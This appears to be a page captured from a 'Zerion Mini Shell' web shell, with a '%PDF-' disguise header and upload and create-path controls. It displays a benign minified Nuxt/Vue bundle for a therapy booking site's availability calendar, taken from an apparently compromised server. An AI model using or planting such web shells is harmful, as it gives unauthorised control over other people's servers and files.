%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/forge/takeaseat.eco-n-tech.co.uk/.nuxt/dist/client/
Upload File :
Create Path :
Current File : //home/forge/takeaseat.eco-n-tech.co.uk/.nuxt/dist/client/a599976.js

(window.webpackJsonp=window.webpackJsonp||[]).push([[42,5,8,11],{377:function(t,e,r){"use strict";r.r(e);var n={props:{title:{type:String,required:!0},description:{type:String,required:!1},width:{type:String,required:!1}}},o=r(10),component=Object(o.a)(n,(function(){var t=this,e=t.$createElement,r=t._self._c||e;return r("section",{staticClass:"bg-gray py-8 md:py-20 px-4 md:px-8 mb-8"},[r("div",{staticClass:"max-w-xl mx-auto w-full"},[r("header",{staticClass:"text-center mb-10"},[r("h2",{staticClass:"text-2xl sm:text-3xl font-bold",class:t.description?"mb-8":""},[t._v(t._s(t.title))]),t._v(" "),t.description?r("p",{staticClass:"text-sm sm:text-base"},[t._v(t._s(t.description))]):t._e()])]),t._v(" "),r("div",{staticClass:"mx-auto w-full",class:t.width?t.width:"max-w-xl"},[t._t("default")],2)])}),[],!1,null,null,null);e.default=component.exports;installComponents(component,{Header:r(101).default})},391:function(t,e,r){"use strict";r.r(e);var n=r(0),o=(r(3),{props:{slug:{type:String,required:!1,default:null}},computed:{progress:function(){return this.$store.state.account.progress.total}},mounted:function(){var t=this;return Object(n.a)(regeneratorRuntime.mark((function e(){return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,t.$store.dispatch("account/progress/get",{slug:t.slug});case 2:case"end":return e.stop()}}),e)})))()}}),l=r(10),component=Object(l.a)(o,(function(){var t=this,e=t.$createElement,r=t._self._c||e;return r("div",{staticClass:"relative z-20 max-w-md w-full mt-8 text-center"},[r("div",{staticClass:"w-full bg-black bg-opacity-25 h-1 rounded-lg overflow-hidden mb-6"},[r("div",{staticClass:"bg-white h-1 transition-width duration-500",style:"width:"+t.progress+"%"})]),t._v(" "),r("span",{staticClass:"uppercase text-lg"},[t._v(t._s(t.progress)+"% Complete")])])}),[],!1,null,null,null);e.default=component.exports},392:function(t,e,r){"use strict";r.r(e);var n=r(0),o=(r(3),r(14),{data:function(){return{menuOpen:!1,links:[{role:"therapist",name:"Profile",url:"/account"},{role:"therapist",name:"Availability",url:"/account/availability"},{role:"therapist",name:"Verification",url:"/account/verification"},{role:"all",name:"Financial",url:"/account/financial"},{role:"all",name:"Settings",url:"/account/settings"}]}},computed:{role:function(){return 1==this.$auth.loggedIn?this.$auth.user.data.role.name:"all"}},methods:{logout:function(){var t=this;return Object(n.a)(regeneratorRuntime.mark((function e(){return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,t.$auth.logout();case 2:case"end":return e.stop()}}),e)})))()}}}),l=r(10),component=Object(l.a)(o,(function(){var t=this,e=t.$createElement,r=t._self._c||e;return r("nav",{staticClass:"relative"},[r("button",{staticClass:"flex md:hidden items-center justify-center w-full focus:outline-none",on:{click:function(e){t.menuOpen=!t.menuOpen}}},[r("div",{staticClass:"relative w-8"},[r("span",{staticClass:"block mb-1.5 h-1 w-full bg-black rounded transform transition duration-100",class:t.menuOpen?"rotate-45 translate-y-2":""}),t._v(" "),r("span",{staticClass:"block my-1.5 h-1 w-full bg-black rounded transform transition duration-100",class:t.menuOpen?"opacity-0":""}),t._v(" "),r("span",{staticClass:"block mt-1.5 h-1 w-full bg-black rounded transform transition duration-100",class:t.menuOpen?"-rotate-45 -translate-y-3":""})]),t._v(" "),r("span",{staticClass:"block ml-3 font-bold"},[t._v("Menu")])]),t._v(" "),r("div",{staticClass:"hidden md:flex flex-wrap items-center justify-center"},[t._l(t.links,(function(link,e){return r("div",{key:e},["all"==link.role||t.role==link.role?r("NuxtLink",{staticClass:"account-nav-link",attrs:{to:link.url}},[t._v(t._s(link.name))]):t._e()],1)})),t._v(" "),r("button",{staticClass:"account-nav-link",attrs:{type:"button"},on:{click:t.logout}},[t._v("Log Out")])],2),t._v(" "),1==t.menuOpen?r("div",{staticClass:"fixed z-40 top-0 left-0 w-full h-full",on:{click:function(e){t.menuOpen=!1}}}):t._e(),t._v(" "),1==t.menuOpen?r("div",{staticClass:"fixed z-50 bottom-0 left-0 w-full p-3 rounded-t-xl bg-white block overflow-hidden md:hidden"},[t._l(t.links,(function(link,e){return r("div",{key:e},["all"==link.role||t.role==link.role?r("NuxtLink",{staticClass:"block w-full py-2 p-3 rounded-lg font-bold hover:bg-yellow",attrs:{to:link.url}},[t._v(t._s(link.name))]):t._e()],1)})),t._v(" "),r("button",{staticClass:"block w-full py-2 p-3 rounded-lg font-bold hover:bg-yellow",attrs:{type:"button"},on:{click:t.logout}},[t._v("Log Out")])],2):t._e()])}),[],!1,null,null,null);e.default=component.exports},418:function(t,e,r){var content=r(454);content.__esModule&&(content=content.default),"string"==typeof content&&(content=[[t.i,content,""]]),content.locals&&(t.exports=content.locals);(0,r(34).default)("3745c2dd",content,!0,{sourceMap:!1})},453:function(t,e,r){"use strict";r(418)},454:function(t,e,r){var n=r(33)((function(i){return i[1]}));n.push([t.i,"[data-v-7a9186e0]::-webkit-scrollbar{width:0}[data-v-7a9186e0]::-webkit-scrollbar-track{display:none}[data-v-7a9186e0] .custom-calendar.vc-container{--day-border:1px solid #ccc;--day-border-highlight:1px solid #ccc;--day-width:90px;--day-height:150px;--weekday-bg:#f8fafc;--weekday-border:1px solid #eaeaea;border-radius:15px;overflow:hidden;width:100%;}[data-v-7a9186e0] .custom-calendar.vc-container .vc-header{background-color:#fff;padding:10px 0}[data-v-7a9186e0] .custom-calendar.vc-container .vc-weeks{padding:0;overflow-x:auto}[data-v-7a9186e0] .custom-calendar.vc-container .vc-weekday{background-color:var(--weekday-bg);border-bottom:var(--weekday-border);border-top:var(--weekday-border);padding:5px 0}[data-v-7a9186e0] .custom-calendar.vc-container .vc-day{padding:0 5px 3px;text-align:left;height:var(--day-height);min-width:var(--day-width);background-color:#fff;}[data-v-7a9186e0] .custom-calendar.vc-container .vc-day.weekday-1,[data-v-7a9186e0] .custom-calendar.vc-container .vc-day.weekday-7{background-color:#eff8ff}[data-v-7a9186e0] .custom-calendar.vc-container .vc-day:not(.on-bottom){border-bottom:var(--day-border);}[data-v-7a9186e0] .custom-calendar.vc-container .vc-day:not(.on-bottom).weekday-1{border-bottom:var(--day-border-highlight)}[data-v-7a9186e0] .custom-calendar.vc-container .vc-day:not(.on-right){border-right:var(--day-border)}[data-v-7a9186e0] .custom-calendar.vc-container .vc-day-dots{margin-bottom:5px}",""]),t.exports=n},483:function(t,e,r){"use strict";r.r(e);var n=r(0),o=(r(62),r(46),r(53),r(61),r(3),{middleware:["auth","therapist"],head:function(){return{titleTemplate:"Availability | %s"}},data:function(){return{timer:null,working:!1,masks:{weekdays:"WWW"},attributes:[],addresses:[],session_types:[],slot_increments:[],form:{open:!1,date:null,available_from:"09:00",available_to:"10:00",address_id:null,session_types:[]}}},asyncData:function(t){return Object(n.a)(regeneratorRuntime.mark((function e(){var r,data;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return r=t.app,e.next=3,r.$axios.$get("/account/availability");case 3:return data=e.sent,e.abrupt("return",{attributes:data.availability,session_types:data.session_types,addresses:data.addresses});case 5:case"end":return e.stop()}}),e)})))()},methods:{addAvailability:function(){var t=this;return Object(n.a)(regeneratorRuntime.mark((function e(){return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:t.$refs.availabilityForm.validate().then((function(e){e&&t.saveAvailability()}));case 1:case"end":return e.stop()}}),e)})))()},openAvailabilityPopup:function(t){this.form.open=!0,this.form.date=t.id},removeAvailability:function(t){var e=this;return Object(n.a)(regeneratorRuntime.mark((function r(){return regeneratorRuntime.wrap((function(r){for(;;)switch(r.prev=r.next){case 0:return r.next=2,e.$axios.$post("/account/availability/delete/"+t).then((function(t){e.$axios.$get("/account/availability").then((function(t){e.attributes=t.availability}))})).catch((function(t){e.$toast.error(t).goAway(1e3)}));case 2:case"end":return r.stop()}}),r)})))()},saveAvailability:function(){var t=this;return Object(n.a)(regeneratorRuntime.mark((function e(){return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return t.working=!0,e.next=3,t.$axios.$post("/account/availability/create",t.form).then((function(e){t.working=!1,t.form.open=!1,t.$axios.$get("/account/availability").then((function(e){t.attributes=e.availability}))})).catch((function(e){t.working=!1,t.$toast.error(e.response.data).goAway(1e3),t.$refs.availabilityForm.setErrors(e.response.data.errors)}));case 3:case"end":return e.stop()}}),e)})))()}},watch:{"form.available_from":function(t){var e=t.replace(":00",""),r=parseInt(e)+1,n=e+":00",o=r<10?"0"+r+":00":r+":00";t.includes(":00")&&parseInt(e)>0&&(this.form.available_from=n,this.form.available_to=o)}}}),l=(r(453),r(10)),component=Object(l.a)(o,(function(){var t=this,e=t.$createElement,n=t._self._c||e;return n("div",{staticClass:"page-wrapper"},[n("PageHeader",{attrs:{classObject:"bg-pink"}},[n("img",{staticClass:"relative z-20 mb-8",attrs:{src:r(135),alt:"Takeaseat"}}),t._v(" "),n("span",{staticClass:"font-bold uppercase text-xl"},[t._v("Account")]),t._v(" "),n("h1",{staticClass:"relative z-20 text-5xl lg:text-7xl font-bold m-0"},[t._v("Availability")]),t._v(" "),n("AccountProgressBar",{attrs:{slug:"availability"}}),t._v(" "),n("div",{staticClass:"page-header-bottom"},[n("AccountNav")],1)],1),t._v(" "),n("Block",{attrs:{title:"Availability",description:"Select the times you have available for bookings. You can do this in one-hour slots (recommended) or select a block of time i.e. 9-12. If you get a non-Take a seat booking, you will have to delete the block and add the times you have available. Keep your availability up to date to ensure you receive bookings.",width:"max-w-6xl"}},[n("v-calendar",{staticClass:"custom-calendar max-w-full",attrs:{masks:t.masks,attributes:t.attributes,"min-date":new Date,"disable-page-swipe":"","is-expanded":""},scopedSlots:t._u([{key:"day-content",fn:function(e){var r=e.day,o=e.attributes;return[new Date(r.id)>=new Date?n("div",{staticClass:"h-full"},[n("div",{staticClass:"flex flex-col h-full z-10 overflow-hidden"},[n("span",{staticClass:"day-label text-sm text-gray-900"},[t._v(t._s(r.day))]),t._v(" "),n("div",{staticClass:"flex-grow overflow-y-auto overflow-x-auto"},[t._l(o,(function(e,r){return n("div",{key:r},[n("div",{staticClass:"relative text-xs leading-tight rounded-sm p-1 mt-0 mb-1 cursor-pointer",class:e.customData.class},[n("button",{staticClass:"absolute top-1 right-1",on:{click:function(r){return t.removeAvailability(e.customData.id)}}},[n("svg",{staticClass:"w-4 h-4 text-white hover:text-red transition",attrs:{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor"}},[n("path",{attrs:{"stroke-linecap":"round","stroke-linejoin":"round","stroke-width":"2",d:"M6 18L18 6M6 6l12 12"}})]),t._v(" "),n("span",{staticClass:"sr-only"},[t._v("Delete")])]),t._v(" "),n("span",{staticClass:"block"},[t._v(t._s(e.customData.title))])])])})),t._v(" "),n("button",{staticClass:"p-1 w-full flex items-center text-xs text-black transition text-opacity-50 hover:text-opacity-100",attrs:{type:"button"},on:{click:function(e){return t.openAvailabilityPopup(r)}}},[n("span",[t._v("Add Availability")]),t._v(" "),n("svg",{staticClass:"w-4 h-4",attrs:{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor"}},[n("path",{attrs:{"stroke-linecap":"round","stroke-linejoin":"round","stroke-width":"2",d:"M12 6v6m0 0v6m0-6h6m-6 0H6"}})])])],2)])]):t._e()]}}])}),t._v(" "),n("t-modal",{attrs:{header:"Add Availability for "+t.$moment(t.form.date).format("DD/MM/Y")},scopedSlots:t._u([{key:"footer",fn:function(){return[n("div",{staticClass:"flex justify-between"},[n("button",{staticClass:"btn btn-small btn-primary",attrs:{type:"button"},on:{click:function(e){t.form.open=!1}}},[t._v("Cancel")]),t._v(" "),n("button",{staticClass:"btn btn-small btn-primary",attrs:{type:"button"},on:{click:t.addAvailability}},[0==t.working?n("span",[t._v("Add Availability")]):n("span",{staticClass:"flex items-center justify-center"},[n("svg",{staticClass:"animate-spin -ml-1 mr-3 h-5 w-5 text-current",attrs:{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24"}},[n("circle",{staticClass:"opacity-25",attrs:{cx:"12",cy:"12",r:"10",stroke:"currentColor","stroke-width":"4"}}),t._v(" "),n("path",{staticClass:"opacity-75",attrs:{fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"}})]),t._v(" "),n("span",[t._v("Adding")])])])])]},proxy:!0}]),model:{value:t.form.open,callback:function(e){t.$set(t.form,"open",e)},expression:"form.open"}},[n("ValidationObserver",{ref:"availabilityForm"},[n("t-input-group",{attrs:{label:"Available From"}},[n("ValidationProvider",{attrs:{rules:"required",name:"available_from"},scopedSlots:t._u([{key:"default",fn:function(e){var r=e.errors;return[n("input",{directives:[{name:"model",rawName:"v-model",value:t.form.available_from,expression:"form.available_from"}],staticClass:"form-control",attrs:{type:"time",id:"available_form",name:"available_form",value:"09:00"},domProps:{value:t.form.available_from},on:{input:function(e){e.target.composing||t.$set(t.form,"available_from",e.target.value)}}}),t._v(" "),r[0]?n("span",{staticClass:"field-invalid"},[t._v(t._s(r[0]))]):t._e()]}}])})],1),t._v(" "),n("t-input-group",{attrs:{label:"Available To"}},[n("ValidationProvider",{attrs:{rules:"required|hourAfter:@available_from",name:"available_to"},scopedSlots:t._u([{key:"default",fn:function(e){var r=e.errors;return[n("input",{directives:[{name:"model",rawName:"v-model",value:t.form.available_to,expression:"form.available_to"}],staticClass:"form-control",attrs:{type:"time",id:"available_to",name:"available_to",value:"17:00"},domProps:{value:t.form.available_to},on:{input:function(e){e.target.composing||t.$set(t.form,"available_to",e.target.value)}}}),t._v(" "),r[0]?n("span",{staticClass:"field-invalid"},[t._v(t._s(r[0]))]):t._e()]}}])})],1),t._v(" "),n("t-input-group",{attrs:{label:"Session Types"}},[n("ValidationProvider",{attrs:{rules:"required",name:"session_types"},scopedSlots:t._u([{key:"default",fn:function(e){var r=e.errors;return[n("t-checkbox-group",{attrs:{name:"session_types",valueAttribute:"id",textAttribute:"name",options:t.session_types},model:{value:t.form.session_types,callback:function(e){t.$set(t.form,"session_types",e)},expression:"form.session_types"}}),t._v(" "),r[0]?n("span",{staticClass:"field-invalid"},[t._v(t._s(r[0]))]):t._e()]}}])})],1),t._v(" "),t.form.session_types.includes(3)?n("t-input-group",{attrs:{label:"In Person Address"}},[n("ValidationProvider",{attrs:{rules:"required",name:"address"},scopedSlots:t._u([{key:"default",fn:function(e){var r=e.errors;return[n("t-select",{attrs:{valueAttribute:"id",textAttribute:"formatted",options:t.addresses,placeholder:"Select address..."},model:{value:t.form.address_id,callback:function(e){t.$set(t.form,"address_id",e)},expression:"form.address_id"}}),t._v(" "),r[0]?n("span",{staticClass:"field-invalid"},[t._v(t._s(r[0]))]):t._e()]}}],null,!1,1373260050)})],1):t._e()],1)],1)],1)],1)}),[],!1,null,"7a9186e0",null);e.default=component.exports;installComponents(component,{AccountProgressBar:r(391).default,AccountNav:r(392).default,PageHeader:r(212).default,Block:r(377).default})}}]);

Zerion Mini Shell 1.0